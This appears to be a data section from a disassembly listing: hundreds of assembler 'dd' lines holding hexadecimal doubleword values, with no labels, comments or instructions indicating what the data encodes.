		dd 74477D12h, 4C003916h, 75D5C7E9h, 9BF50367h, 0B8DC97C0h
		dd 20FFCFF9h, 0E6FAF0C0h, 520B5603h, 0D0ACB638h, 1E21C5h
		dd 0BA1914C0h, 0B17270AAh, 9E7C3Bh, 41693089h, 0E40BBE79h
		dd 1A662C9Ch, 40589FA0h, 6E28650Ch, 0CB242D72h,	0E1009035h
		dd 0B5C9F6F7h, 90310039h, 0BD6A105Dh, 42E48B63h, 99430800h
		dd 8C326468h, 0C79100FCh, 0E25CC2B2h, 61002721h, 0E679F5B7h
		dd 1641344Fh, 2915135h,	6D105418h, 0E90FA44Eh, 406AA9BFh
		dd 0C627131Ah, 0A1023FEDh, 68A3BE8Fh, 62E91680h, 28580C9Ch
		dd 909B0024h, 0C63980C7h, 7A8D0096h, 30F9F2FDh,	21006E0Ah
		dd 23A1509Ah, 74BA0Fh, 9C7FF35h, 963B469Ch, 0E8008775h
		dd 345669F1h, 39FC1348h, 0C07B717h, 9AC39D11h, 0E8003E82h
		dd 46B9C2F7h, 0D9000FA4h, 0D79B9794h, 36484Dh, 0BEC3BD95h
		dd 0AF816FDDh, 7CEEBF00h, 0F1A1FF02h, 3A0A004Ah, 0F701BD24h
		dd 0FE0080C8h, 2D95F061h, 67F3C3h, 1EA4160Dh, 4D7FFF52h
		dd 0FED95C01h, 2696F5Fh, 6BD40425h, 49709F1h, 2381D89Bh
		dd 0EB4A0BD3h, 0B36073B2h, 34755E1Fh, 89FAB000h, 0D8CC0AFFh
		dd 96B6021Eh, 78AD4FB4h, 2C85C4C0h, 75556D09h, 600400BDh
		dd 3C081662h, 0E080ACCAh, 0E5B31E70h, 0B091A57h, 80C29BBBh
		dd 87D1BECCh, 9E990231h, 0FBF499Ch, 0C1ABCCE0h,	0AAA8571Eh
		dd 0A2825D40h, 14166824h, 0ECAD1E35h, 2F39F00h,	0A89E7071h
		dd 0CDFB0E12h, 0A4A06307h, 43510880h, 0AF5C2575h, 2B189800h
		dd 0A53B94CEh, 188FA4D2h, 0DE7E7500h, 1DA79987h, 806FB619h
		dd 0B72A1CEh, 0AE006D5Dh, 0FEAB60F0h, 2ABE20h, 0D6AC42Fh
		dd 181364B6h, 501CA600h, 0E28D5521h, 7DFA397Bh,	5C9EEABEh
		dd 6FB7010Ah, 50CA765Fh, 0B633B1B8h, 220C2C0Dh,	8202C91h
		dd 0AC393D42h, 60ABAD98h, 6900EA4Fh, 52EE0131h,	5D255004h
		dd 0A2007C3Fh, 0CD6FDAB0h, 8E1485F5h, 8B8B8FAh,	4EC3C8h
		dd 3623E8BAh, 3B002DF2h, 967A5442h, 8CE507h, 0D474EBEFh
		dd 944FFCB0h, 1C90CC12h, 0CD18CA03h, 0EBF98DAh,	22020003h
		dd 0C416A298h, 2C0015B3h, 3A60CE4Fh, 0E27347Dh,	8B9F788Dh
		dd 0CAB49273h, 1800C850h, 9224FD54h, 38BE7F1Eh,	9B89C151h
		dd 99000CB4h, 3B81F055h, 86FAED00h, 0DDD5622h, 689530B5h
		dd 1CCF80C8h, 0F02CB307h, 5F30F8C3h, 74574Eh, 55B4BD53h
		dd 11E6B928h, 64598201h, 0C07B735Ah, 1CAA63DCh,	123DEDh
		dd 0B10A06Ch, 989C9D39h, 0C93AC401h, 6D9B9C5h, 0B4EC92E5h
		dd 3F0E07A0h, 0A07C9AAFh
		dd 6DF1BA29h, 76011C9Ah, 0D2C02F5Fh, 802CFC39h,	0AFDBE900h
		dd 6189B0DFh, 97C11F00h, 4518DDAh, 59BE0147h, 5DB87160h
		dd 30A3C4E8h, 0BBF93600h, 9685EF19h, 3FE20916h,	70C0067Dh
		dd 32090492h, 228E4E68h, 0C32A8B88h, 0EE712C1Ch, 0BEDA0C1Ch
		dd 7987131h, 965E442Ch,	0E65B6200h, 1CEFF874h, 56795A0h
		dd 0D0BA681Dh, 38C27A44h, 6E04E203h, 0E0CE57FAh, 1FB7F3Fh
		dd 0EFFA9DDh, 2CAA6D1Bh, 701A07BCh, 7BF0C6A4h, 1780C9B3h
		dd 4E45043Fh, 0D0A051A0h, 0BAABCD37h, 0E00BB928h, 0E3582C00h
		dd 3B117227h, 0FC2900ADh, 7505A6B6h, 26640D9Fh,	0CB03A2B9h
		dd 5107585Fh, 1C3E908Ah, 7DCFAAF0h, 41280C89h, 0B0B89359h
		dd 31098601h, 29AE44C2h, 65AF4DCh, 9A88E58Ah, 0D112E1A4h
		dd 44A0FDB8h, 5F2F0062h, 0DB9625F4h, 8637010h, 3FBC118h
		dd 0CE957DD9h, 4AF13FA8h, 45C77140h, 8C3880AFh,	6B0A61F3h
		dd 885C0767h, 47122BAh,	0ED6E33A7h, 0F60C80A6h,	73067EDEh
		dd 220A24E7h, 3F370ED1h, 9C4B8EA6h, 0AFBA2000h,	0F52CD4EFh
		dd 0E10F18E2h, 624F5EB5h, 5BB780F7h, 0A9F4633Fh, 44007090h
		dd 0D36090D8h, 4124D469h, 0F9DE0018h, 0B7E2BA64h, 4F008C03h
		dd 26B6D378h, 8296AFh, 0A0659A15h, 16A14571h, 849B3600h
		dd 9823E72Fh, 1905016Ch, 971455C8h, 8C1ACC6Ah, 0AFB720Fh
		dd 0C32000C1h, 5FA647Ch, 69B80CBAh, 6E9C43D7h, 0A100F162h
		dd 0D8B95DF3h, 4CEFA731h, 274FC6Ch, 3072351Ah, 9CC027C6h
		dd 0B003EC76h, 62F7B9A9h, 0C2C902D1h, 0C0B370FAh, 0F577C480h
		dd 1400FC69h, 0BB1C80DFh, 18BC538Fh, 30D654E4h,	431CC9CDh
		dd 0AD80B68Bh, 21043BBEh, 0B0500072h, 0AB518187h, 89A0F6A1h
		dd 3B06F718h, 0C16BB8D4h, 0C0B47DB8h, 8FAAC098h, 0E305D916h
		dd 1B730D59h, 72B4CC0h,	3AE803AFh, 7A686186h, 0C8F8C6ABh
		dd 0DD00D879h, 19CE974h, 8D1C22h, 5C19F987h, 3A2988D4h
		dd 0FA00B2EAh, 0A9C1E872h, 0D5BE42h, 8A32E699h,	7118B0EDh
		dd 4F24E900h, 6628B352h, 3B4B0046h, 43B6870Ch, 0D4E817EDh
		dd 10A66F00h, 9AB5015Ch, 15C07631h, 0B8ED82BDh,	0D6D2300h
		dd 0FA41E925h, 0C6E4D01Dh, 0A1D69380h, 0C152B2h, 4A61511Fh
		dd 0FFAF94D2h, 55D1100h, 7041301Dh, 44B50052h, 0F56B6FA4h
		dd 4BEA9E54h, 0B3697D00h, 2FF5587h, 95F700B0h, 5F51D08Eh
		dd 0CC09A866h, 2072889Dh, 9106C880h, 0CB7296h, 6B3F572Ch
		dd 0B48B0FE5h, 0F51C1200h, 62771A3h, 35240B2Bh,	8605B98Fh
		dd 0CADD00A8h, 0D11CD974h, 0DD636A1Eh, 0EDEFAC0h, 3F489722h
		dd 5080BA26h, 72DA6F44h, 98F4D4FDh, 8FBE5E3Fh, 809BB07Bh
		dd 0B429B627h, 2DEF182Eh, 0F67A1872h, 0A5D06A00h, 92706C95h
		dd 0BE4F1h, 94D30733h, 0BA3182A2h, 8D571800h, 0F53824E0h
		dd 1F760041h, 0A3400AB6h, 711C1137h, 5B83AC99h,	98CB8C10h
		dd 0FEF7Eh, 0B77F4839h,	0FE457B3Ah, 5DC8FD50h, 6E904AFAh
		dd 51B53E00h, 77975607h, 0C4781E25h, 2E00FF41h,	520587D3h
		dd 66008A7Ah, 23E0CD43h, 1DA2B0Bh, 32F9F4F6h, 0D721D8EEh
		dd 78C04BA2h, 0D518DEE4h, 0AE494225h, 79A91628h, 75D488BBh
		dd 10EA9D2Ch, 91F77784h, 7D54A0h, 7F96E7BEh, 0F3F121FCh
		dd 110FA40Bh, 64E00083h, 0CFD0F2h, 0E342BB41h, 0CD10A891h
		dd 93AEA10Eh, 17C7C0CEh, 9A1D71h, 836CD0D4h, 2B20D636h
		dd 3C47FA00h, 0B5D9E764h, 73B93881h, 9E153A05h,	3CA241h
		dd 3820CA6Fh, 26DBF2D2h, 0BFABD6h, 3F3C23C6h, 0A4B87AF8h
		dd 0F10050F4h, 43035F9Eh, 24B18ADBh, 8534BC99h,	9026633Eh
		dd 0CE9BE78h, 66D15200h, 448338CCh, 3D7529h, 0C1DA6C9Fh
		dd 0E06A02FDh, 180C4316h, 4577C700h, 29F3A3h, 0BAE79DD8h
		dd 0F0D44ABh, 54E53E00h, 52172143h, 7EA1EDAh, 71E6CE8Fh
		dd 5AF584A0h, 41074036h, 0B6DE97C7h, 7F5282D0h,	0B1FB0289h
		dd 0F82AB3C2h, 2655EB80h, 3012398Fh, 5C0558B5h,	10C0B831h
		dd 4FB01E8Eh, 0B9E40332h, 20005B02h, 0FE668711h, 9ADA19h
		dd 23ED45E6h, 0E2A46A07h, 9F7FF43Fh, 9B40A9F0h,	50C577A3h
		dd 0C49F003Eh, 4B7E495h, 254845CDh, 0F8418220h,	11FC8021h
		dd 1405608h, 5F15941Bh,	9EC97F6Fh, 0B400A2F0h, 5D4F6ADDh
		dd 909A22h, 0B3CA0867h,	0CCBE85AEh, 6A2A2B03h, 0B0B455DCh
		dd 0DB99B6h, 52969395h,	33E253EAh, 7479C01h, 1C6D2519h
		dd 8B3824h, 14E15701h, 382DE62Ch, 204CBE00h, 7C6D0550h
		dd 0F6A0099Eh, 9082737Ah, 0F52045C6h, 40C7A9D1h, 0E400B2A7h
		dd 2021B972h, 984207C6h, 8B1307A4h, 804B2A7Ch, 0ACEBFF9Fh
		dd 8CCFBF26h, 81243008h, 1D02DD7Fh, 0FB9CE425h,	0C009F02Ch
		dd 7D810D80h, 33DDF2h, 0E15FFE37h, 0E0D8CDC2h, 0A36FCC00h
		dd 0AC3A6592h, 0BA0F0021h, 37B4D582h, 0A8CB1E3Bh, 888C903Eh
		dd 9A9D08CFh, 693D512h,	1F00288Eh, 0B523CF1Eh, 1A00D3CDh
		dd 1DF2AD8Ah, 0C3502Dh,	125D3F64h, 94C24047h, 5C883900h
		dd 7BB84904h, 45F81F75h, 0C0DB986Bh, 0B700AEC6h, 0BAA5C90Ah
		dd 1402DFh, 0C347D63Dh,	6C2617C2h, 0FC943026h, 24CDBF00h
		dd 8804F8h, 0C22110CAh,	0E9FF6EE1h, 1BA02209h, 0D8870CD0h
		dd 0A1732Dh, 6723994Ah,	791E0384h, 114BBC00h, 761AA93Eh
		dd 0D1B0E89h, 0C08024E3h, 0E30F675h, 7A157E00h,	0DB64233Ch
		dd 3D330168h, 8D1A6A57h, 0BCE8DA04h, 0E300BAC7h, 6BF57B38h
		dd 48DDB0D1h, 220003C9h, 0D658E50h, 2C0357C2h, 0F7F5ADBBh
		dd 3004D8CAh, 1A58279Bh, 6813A1D4h, 402C2C00h, 2D502Bh
		dd 244C7114h, 0DBA07B8h, 0E9876000h, 4A6C03D9h,	51AB0095h
		dd 0B4AC69C5h, 170002A8h, 23075441h, 131C3240h,	12FE8336h
		dd 0E44C90B2h, 25772C19h, 2289F904h, 483ED95h, 0FBCAD0C6h
		dd 0A260F937h, 0E34A1CEBh, 8157839Bh, 1EF0D523h, 3F012829h
		dd 561DC5D8h, 2C83C085h, 7B3C69E9h, 0BD5EA698h,	40684A27h
		dd 4E1FCh, 0E8FC8DE6h, 4D878273h, 2A019492h, 5B2DA8BBh
		dd 1320E998h, 0EEED041Eh, 0C07622D2h, 0D5EA321Ch, 0B87FCC38h
		dd 0C95A831Bh, 0A86ACA96h, 0EAE26E79h, 9D8700D1h, 8D5018A6h
		dd 4572F77Ch, 0A7790300h, 0A329CDA2h, 20B076h, 5FF997AAh
		dd 18D77F4Eh, 1B4984Ch,	6D3C9D0Ah, 8AEE0855h, 0A500D484h
		dd 0DCEC38CDh, 627000ABh, 66868464h, 0D81EA00Ah, 2A40305Eh
		dd 801811C1h, 0DF205h, 1F799D5Ch, 22F5CB7Bh, 287C2D01h
		dd 3F1AB11h, 0B90EA87Ch, 8DAE1EC0h, 14F319E0h, 0B2005218h
		dd 5A8B733Bh, 816B40h, 742A6C60h, 0DACF69F5h, 0EA00F4E2h
		dd 7F391F49h, 1E717Dh, 9D794C57h, 642668A9h, 65F8BC00h
		dd 2C7293DBh, 549A5Fh, 3BD33FCBh, 0AD1FC6BBh, 24391270h
		dd 53C81h, 0EBE5DB79h, 3823FE40h, 0D4018D4Ah, 90314551h
		dd 9D197041h, 8A185401h, 77737901h, 5E015878h, 16102EE9h
		dd 769EDC25h, 0A6796200h, 0A9877C1h, 97C500EDh,	4FF3C6DDh
		dd 7C002B22h, 0EB7F89A4h, 240593h, 95B229AFh, 1B617637h
		dd 2FDDF503h, 98183F2Dh, 8FCBC3h, 5BCC6EE5h, 0F0A89E71h
		dd 3EAF550Ah, 823FA6B3h, 3C881773h, 0F46C7045h,	42AD00A7h
		dd 0B7A4B2BBh, 5C00C0A8h, 475B16D9h, 72F38757h,	71F80E7Ah
		dd 0AF5668EAh, 16566702h, 0B338608Ch, 0BCE4B8h,	50340136h
		dd 410C2D97h, 0E088074Bh, 0FAFC7C14h, 0D4DD0FABh, 17A8FAh
		dd 2866F268h, 49E6254h
		dd 0D1214081h, 2083C4A1h, 20F3ECB6h, 914D1DA0h,	0A70023B5h
		dd 2C317805h, 1404653h,	0DACCAE44h, 0BCEF471h, 1254F701h
		dd 0D27894E7h, 20804DF1h, 8C2B98FCh, 8014C9Bh, 0B33FB120h
		dd 7D2ADF3h, 0A7D1B140h, 87304404h, 8764C083h, 0B8D0B5AAh
		dd 143DA248h, 0AF3881E7h, 3EAE0C45h, 6C4D1041h,	0CCA11C41h
		dd 6216E880h, 20189A0Ah, 285BFB00h, 0B19CE3BFh,	3FE00C7h
		dd 9474E22Ch, 0CE00D0A0h, 28F77BD2h, 1F69CB0h, 0E46605B7h
		dd 0E143D4CDh, 0F182EDEAh, 0DB436090h, 6215B100h, 0E2BBCFCEh
		dd 178A0167h, 9A3421Fh,	40A1F8A4h, 0D2B13D01h, 0D706D845h
		dd 0E0F436D5h, 7663A3Ah, 341E7A00h, 0DD9E3BB3h,	570CEA13h
		dd 9F885440h, 7811784Bh, 0BBA61202h, 0B82C41E4h, 4735B948h
		dd 3EACC7C6h, 0BD100CB4h, 67CA88C9h, 0D64408ADh, 829C531h
		dd 4061C2F2h, 0D4204971h, 97C97D29h, 27F811h, 4C3772Ah
		dd 3AB5D692h, 3F18A044h, 6ADFE80Ch, 0C2A95004h,	9D0E7E69h
		dd 0E5A11C8Eh, 71B46DCEh, 0EDFEE06Eh, 0EBF07DF0h, 2876487Ch
		dd 0EF71DC63h, 0E343C167h, 30660843h, 4711CBA0h, 0AB783B93h
		dd 0A873502Eh, 0E5169606h, 20727BC9h, 0B9B0E9F5h, 0E3190CA8h
		dd 3493AD00h, 9F294131h, 0AFF7016Ah, 0A92C196h,	129B92Ch
		dd 0B6FB0E9Bh, 5C20F4ACh, 60F374BCh, 0B3EE214Bh, 0BA06DE07h
		dd 3DE5586Bh, 58F5868h,	0AA2CF40Bh, 214A7380h, 1314499Fh
		dd 41AB3F58h, 0FA31C8D7h, 288B48C1h, 0EC2D20B3h, 4C5751Ch
		dd 810B2D96h, 98FB54E8h, 1321BD08h, 0DE8E1FDh, 4DBB002Dh
		dd 116B1455h, 3C0CF33Bh, 60D43149h, 232842D5h, 4BF1CB1h
		dd 62FB2D94h, 0F71523BEh, 5A9B6E80h, 2B973C06h,	38C9D1B2h
		dd 420A3298h, 9198DFA1h, 0E9480A3h, 4374B6F6h, 1D0622E8h
		dd 0DD07ACE1h, 806703C7h, 0EC00C5E8h, 0AFE6EBE2h, 13D7A27h
		dd 3BFFD5A6h, 42DCDE60h, 97309E34h, 0B6F7080Eh,	0FF64F38Ch
		dd 7AFE240h, 761CD6B4h,	0E7840667h, 4091E04Bh, 2980210Dh
		dd 715C7BF1h, 4D07DF07h, 0E2B6EA08h, 0C78BC6E0h, 0BDB21896h
		dd 768F8E4h, 0D22B0A00h, 118877F9h, 0E57570h, 0DC9D6528h
		dd 0DB57B17Ah, 7FEF5200h, 2034C685h, 0D4F06Ah, 0D23FEBFEh
		dd 7DE64F48h, 0B8792B0Eh, 1FE074C6h, 1B47AB75h,	45D656F0h
		dd 0CCF440h, 9D6D9629h,	6B16055Fh, 5BC1C0EDh, 3BCF080Ch
		dd 165284Ch, 33AC11F7h,	0DCA8D3CEh, 3C712397h, 0D4213561h
		dd 0BDC9040h, 214239DEh, 66FB6900h, 0B31653EBh,	6701B97Ah
		dd 30F28723h, 398E1199h, 303D7B34h, 58E6DF90h, 97036974h
		dd 6FF57C49h, 20EBC885h, 74437D19h, 0B40100CCh,	0C77C0FC3h
		dd 3A30523Eh, 1E7F419Fh, 4820085h, 0B403A290h, 3700B928h
		dd 0BE4FA819h, 608A27EBh, 1C4578C9h, 52749E76h,	0A8ED5B2Ah
		dd 9D0C74F8h, 116D567Ch, 84CF0045h, 8071E91Fh, 7633517Ah
		dd 0EA08B8h, 264DB421h,	95D619E4h, 5EB4F00h, 0A3EF0F87h
		dd 0F7CF3012h, 5FFDF829h, 0E685A9C0h, 0A849FA3Bh, 7C4662D0h
		dd 0BB9002F6h, 5376B05Eh, 0E1114497h, 339A4180h, 0FE73D39Eh
		dd 537E39h, 0DC3805B3h,	1145B779h, 776654A6h, 4630FE16h
		dd 7BDB4001h, 8990EE4h,	0F0A42108h, 80905B30h, 445F7501h
		dd 0B1F7F018h, 89B42080h, 64D4BFBBh, 0FA302201h, 79D71938h
		dd 7091C849h, 2FE480A0h, 8CC69D80h, 5A0944h, 225230FCh
		dd 77D11963h, 185484A9h, 0FF260446h, 32797072h,	4FB620E0h
		dd 33EA2226h, 7035F40Ch, 4CD99178h, 0B506A5EEh,	0B8F61B99h
		dd 0AF62440Ch, 9015D873h, 7C173074h, 90479F31h,	7698AC7Ah
		dd 59FEFB19h, 21804308h, 0D69050BDh, 1B00F6CFh,	0E758064Dh
		dd 3389B583h, 0EF60DA0Fh, 1388A0F0h, 0B810DE60h, 299436h
		dd 0CE4ABB1h, 1D1822A2h, 0F3B2F500h, 0BA7A6E56h, 0D4210034h
		dd 31C3CA1Bh, 7E009598h, 4F9C58F6h, 0F4079E61h,	8FC7006Fh
		dd 44FA38DFh, 5F02324Ch, 5287987h, 6BE14097h, 0D1A80086h
		dd 52E233D0h, 9A73C785h, 41F9380Fh, 7949A393h, 0CD96F0E6h
		dd 4A880701h, 9594EC9Dh, 0E1043EEAh, 0CFF88FFh,	0F101CB10h
		dd 891ECA18h, 7804583h,	0FC58039Fh, 7CF90085h, 21CBF3CDh
		dd 950C0F0Ch, 297ED4CAh, 0E20240E3h, 4CD5BA00h,	3CE467B8h
		dd 63520048h, 38811EF2h, 7C00D297h, 3D72048Ch, 0C8A1E5h
		dd 232D67CFh, 0AC697F9Ah, 0C78AD100h, 0DFA321E6h, 2F200703h
		dd 10C877E1h, 2939795h,	0DC0F2D1Ch, 3BC51FC0h, 85A867h
		dd 0CB681BCCh, 0ECFDBF2Bh, 0B42F9500h, 0A0E22019h, 667B67h
		dd 8EF40742h, 5C26431h,	71B5FF00h, 0DB30256Dh, 42270FFEh
		dd 0BF601BB0h, 791046EDh, 4BCE5B00h, 0AAC95AFh,	9D060093h
		dd 7FEC70F3h, 16015015h, 0EDDB33Fh, 20FC216Eh, 0FE9E4C53h
		dd 1024780Fh, 586DB123h, 6AC826EBh, 0E600E479h,	2516F64Dh
		dd 37BF1Ah, 41CF8F3Fh, 46B058F0h, 0C500B17Fh, 15EEDB1Fh
		dd 5FE1B8h, 2D1DEA7Fh, 128C09F7h, 7CCFB3Bh, 0C6DFAF1Ah
		dd 2BB09D97h, 0BA57A3h,	0F18055E1h, 84C48FAEh, 0C92DD200h
		dd 65DBDD7Dh, 0B84D0012h, 511D4969h, 970FC4C7h,	413D01E5h
		dd 0A122B6EBh, 6326E870h, 0E70BD02Ah, 659A1290h, 4E9E24h
		dd 40B5D60Eh, 25A604C9h, 80600053h, 0E45A504Dh,	9C0640C6h
		dd 2C99BCF3h, 0D8F278h,	1458E85Ch, 915BB8D7h, 449A9024h
		dd 0FE8EAF80h, 59D3A6h,	5E4F7762h, 89EB15B9h, 49541F1Fh
		dd 65B35100h, 107F8Eh, 779007B8h, 213FFF8Dh, 0C8FF724h
		dd 0A27023Bh, 412DE1BEh, 9F3230Bh, 0E26F4F59h, 0B8D87C26h
		dd 0F8734375h, 0D0AA6A0Eh, 81A8CC51h, 5EE700DEh, 3E120377h
		dd 886EE5B4h, 7AD38048h, 50A4DE6Ch, 428C3Dh, 82E6504Ah
		dd 0AED91633h, 59C2970Fh, 8F076005h, 0EAF2A701h, 0C8BD0084h
		dd 2ADC192Dh, 7F01D483h, 0AC5BCA2Fh, 0D4BAEFEDh, 0F0008B5Ch
		dd 7B31A397h, 9137EE59h, 94D78880h, 81B43BC1h, 20AEA850h
		dd 1B1F0087h, 2BB9CE2Dh, 0FB01785Fh, 9AFCD344h,	0BD208BBDh
		dd 0B4120031h, 3BC8640Ch, 81003C7Bh, 88CABA63h,	11E8E7h
		dd 749E71FAh, 9F22D82h,	9FF8E002h, 404A1D8Eh, 0A0905917h
		dd 1C75D69Ch, 801F2847h, 0D403C4D5h, 98151C25h,	88AF4Ah
		dd 0C7A02362h, 0B9DADCh, 7F8FE626h, 8A419B50h, 0DA9ECD98h
		dd 72A7D09h, 0A0FE9C6Ah, 43F29FF3h, 18820386h, 0F66432EEh
		dd 417C3CF0h, 0FB83EC14h, 3AAE00DCh, 0B3C15E70h, 7D9A0003h
		dd 6966E927h, 0F44AC9D5h, 7212ACh, 8AF2F7ABh, 0F65948C3h
		dd 0AC496D00h, 1B41807Ah, 0F85578B8h, 0C4309C4h, 3020FD57h
		dd 0A39E5C88h, 0BBD7E612h, 0F4A5FC04h, 0E122980h, 22A0EA4h
		dd 3ECE8EBEh, 838C4032h, 2CBB15CFh, 0F026E8A8h,	190002E8h
		dd 8F7BA77Eh, 0E89EE8CEh, 3F39121Fh, 42741F2Bh,	32629ADAh
		dd 40A32E40h, 47204C92h, 7C9349D5h, 16C07C82h, 832318h
		dd 0E85E4441h, 1CD7DE80h, 24B0A267h, 63CD20B0h,	0F24600D4h
		dd 5F510E11h, 9A48F330h, 0C40371D7h, 5DA5EB44h,	6474384Ch
		dd 588C6960h, 78002DF0h, 4012DD1Eh, 0AB97CC0h, 7E4DF1C6h
		dd 0FEEBE0D4h, 0B0003267h, 14690A98h, 3E5316C7h, 38DC3842h
		dd 8030D42Ch, 1FE7B6AAh, 91F6FAC7h, 74314E29h, 2350F04Ah
		dd 7A690CE5h, 8B4895B1h, 80E1803Ch, 0C9A85090h,	14BBB2h
		dd 18E63162h, 295358A3h, 7E04B370h, 6BD2C977h, 592BFB80h
		dd 75F015F2h, 73C0AC56h
		dd 988EACFFh, 52175000h, 5A1CEBFBh, 823901ABh, 0A79DB675h
		dd 1277EC64h, 55760B01h, 833B6C10h, 485EBD30h, 0DF09E040h
		dd 0B0AE2BCEh, 6568E340h, 2F00B548h, 0A39C28ADh, 587630h
		dd 0EDFDAFF7h, 0B4895194h, 9ADC3F54h, 31DD9B00h, 86AD2AD2h
		dd 67B70C0Bh, 0E8215192h, 0D078B79h, 0BAAD2947h, 0A91E6FAEh
		dd 0C0F0AE83h, 9C29242h, 863801F7h, 88F6B05Fh, 822BFC2Ch
		dd 0FFBC0E14h, 0A2B7A2D0h, 40852BACh, 15B5FBCh,	0D6E4A45h
		dd 2453B2FCh, 6902AA94h, 0E590198Ah, 11F44884h,	0FAFE004Ch
		dd 3FEE8EA6h, 571E5C1Ch, 0EC40817Fh, 0A78C4009h, 119300C2h
		dd 555FB379h, 7B03489Ch, 0F5D70617h, 0B59FC09Eh, 52820962h
		dd 0D000ADF9h, 24EAB3F1h, 19DC7409h, 0F28C249Eh, 0C0800409h
		dd 0E6DD0A0h, 609B5700h, 87744C10h, 156F0168h, 53895B1Dh
		dd 80A02330h, 0AA036DEEh, 0BA7F3D86h, 8DCF3281h, 231304D3h
		dd 0E2D05038h, 6655DE00h, 82AAA593h, 0CE9700EDh, 6D1F8F5h
		dd 109ABE35h, 9E005EECh, 34A82EB5h, 0F292F650h,	0BD79C0E1h
		dd 0A9438616h, 2FB94A00h, 0D53CBFC4h, 5A8E03D8h, 3F3253CCh
		dd 0A93BF3B8h, 20E0DE24h, 51269900h, 1ACEAC5h, 0D62B674Fh
		dd 70E66107h, 85005C64h, 54DCA9E5h, 976C69h, 1B4FFBF9h
		dd 0F58D6BC2h, 3DE60400h, 0B9456EA3h, 344B00A1h, 0D8055472h
		dd 260FA258h, 0A07A1763h, 0E532F70Ch, 0C4C00F0Fh, 3DC05F28h
		dd 242BB576h, 968B8003h, 0B03ACA8Eh, 1E11C4Ch, 0C20B32B3h
		dd 0F473C134h, 38009367h, 28553E87h, 15CFDA4Ah,	0DC0BB275h
		dd 246CD902h, 1540DE0Ch, 584CEBEDh, 898EDDC0h, 4B18FC73h
		dd 74A7B78h, 0D3B2E01h,	0C07F9EC1h, 6136862Dh, 573E59B6h
		dd 1859DFh, 10FF97E8h, 24CC2E39h, 814C73A1h, 43613D2h
		dd 796BE4D4h, 0B1B6DE00h, 1E966839h, 32D76CEh, 0DF9347C9h
		dd 0A3D8BB74h, 71009C78h, 0E9E1C17Ah, 0E0A83EB7h, 7D851F1Fh
		dd 0C20740B9h, 275F84B8h, 9CA25400h, 67065143h,	0D540E566h
		dd 9DD16Bh, 27C775ECh, 6121C607h, 2B4AA502h, 60417A46h
		dd 3CD4A276h, 51805C03h, 40BCDEB2h, 0D6097B97h,	41B85483h
		dd 32FBC8h, 563150Bh, 0CE903421h, 25ADFC1Ch, 0BCC5770Bh
		dd 0C9F08F21h, 4D3CA723h, 3ACB5A70h, 49851FBFh,	0E4F401Bh
		dd 3E4A0B52h, 7D396215h, 0D4C516CCh, 2A240446h,	0A2720041h
		dd 0AAE1927Fh, 1E006606h, 9B34AC96h, 0B1ECA7A3h, 3EC60E50h
		dd 0B00C9FE2h, 6DDE4A0h, 9C03E0A5h, 88708C93h, 18BBC86Dh
		dd 1C1B5833h, 1CE73350h, 257FCB0Bh, 0BFD60010h,	8C1EE2F4h
		dd 0F745367Dh, 1C8854D5h, 68642425h, 84620EB7h,	0BD318282h
		dd 0A34EFD82h, 5F66F8A2h, 0ED79A840h, 8A008CBAh, 728DEA23h
		dd 264B0FB3h, 17E11AB5h, 35AC0087h, 4A805D77h, 30B2E7F6h
		dd 194E322h, 0EE158782h, 5327C283h, 0DF896E8Ch,	63719E57h
		dd 129BAA06h, 9AA70C11h, 67600FCFh, 0B98C3603h,	0B7AA2D2h
		dd 37924F21h, 70AFD38Bh, 34034D2Bh, 65E0B1ECh, 800D756h
		dd 0CECD8072h, 9151678h, 851BEF39h, 0E666DC80h,	2026D0A9h
		dd 0DF0B736Dh, 0E484005Bh, 7388D4Ah, 53CBCD0Bh,	26FA1059h
		dd 0D1CBCCD2h, 0F789646h, 566AA45Ah, 28818E42h,	9FF30CAh
		dd 98D00CFAh, 71D838A5h, 592FB81h, 42E2A387h, 1C12DA94h
		dd 6527152Ch, 0BD04C4F2h, 0D845D232h, 0AB70B9A8h, 0A518ACA8h
		dd 4A12B709h, 0BE98A1E6h, 72415Ah, 0F0357E80h, 0D56027EDh
		dd 85B2FE29h, 477A0F25h, 0D9621948h, 2207F33h, 79A74Ah
		dd 12529D1Eh, 33150F9Bh, 0E4008C70h, 2D1F22EDh,	2B4342h
		dd 0D865FCFDh, 77599A5h, 80EB363Ch, 0B69F3876h,	0BB13A10h
		dd 31A5878Ch, 0C1CE6400h, 65006AA6h, 0C5F53C58h, 0EE9A866Eh
		dd 9054000Eh, 4D4B1838h, 84014648h, 83A59512h, 0B450721Ch
		dd 0AFA8E4Eh, 85CB5EBh,	24888084h, 0BE91F7D5h, 0D6E55100h
		dd 0BC1DD19Ah, 74974F8h, 35177515h, 0F7D2F3BFh,	0FEB94198h
		dd 0EA203200h, 2C279610h, 44810023h, 123B8C30h,	0E0006A71h
		dd 37B36F86h, 29B04Ah, 35BA23B6h, 117DC82Dh, 2B950B07h
		dd 0A5F0A3F9h, 2CB7FB8Ch, 82B8E05Fh, 41B2ADD3h,	10024CE0h
		dd 0D70F13ECh, 4137703Fh, 79E59330h, 0A31AE4h, 92686ED5h
		dd 1B93D17h, 0C8B07600h, 1249A6E4h, 9AA83F07h, 22090572h
		dd 8099B1AAh, 849BB2F4h, 0F4A17007h, 6630C8D1h,	0A4736Ah
		dd 77114247h, 8281B46h,	0A8EB821Eh, 4441BD4Ch, 867E0034h
		dd 5C42C067h, 0DD0EAF05h, 0EBB39387h, 183C805Ah, 92D849h
		dd 9BA32861h, 7305912Fh, 0B8F78A03h, 9040445Fh,	0DFE757h
		dd 38C49430h, 0C3EC72A2h, 81A6F000h, 0B8EE707Eh, 0CEFF0122h
		dd 69CEA50h, 0F979D880h, 481AD200h, 2297AB4Ch, 0A44500DEh
		dd 96411CB2h, 0E10111A2h, 897D26AEh, 5CC2906h, 91B8B4h
		dd 90A9D324h, 47375FF5h, 6B8D9C07h, 80CBECB0h, 0C33F2B96h
		dd 0E753DB3h, 8645E089h, 25ACA000h, 70E726Dh, 805F5BBBh
		dd 0A8A4FB5h, 8E5A0999h, 0E800847Eh, 801C063Eh,	4B193F00h
		dd 0C29CA847h, 0D3CE00E4h, 21F282B2h, 921290D6h, 6CD0E2B3h
		dd 0CE5660h, 7EF19808h,	62F01C9Ch, 49378000h, 0EB11F703h
		dd 52143EACh, 0C334A783h, 83B00EC8h, 5C021B18h,	0B55943A1h
		dd 690A60CAh, 13A600AEh, 39E2970h, 80053320h, 50B0DAF9h
		dd 0A7648E00h, 0B35BD6h, 0EDFE5FA2h, 0E9AABF94h, 12D5EC04h
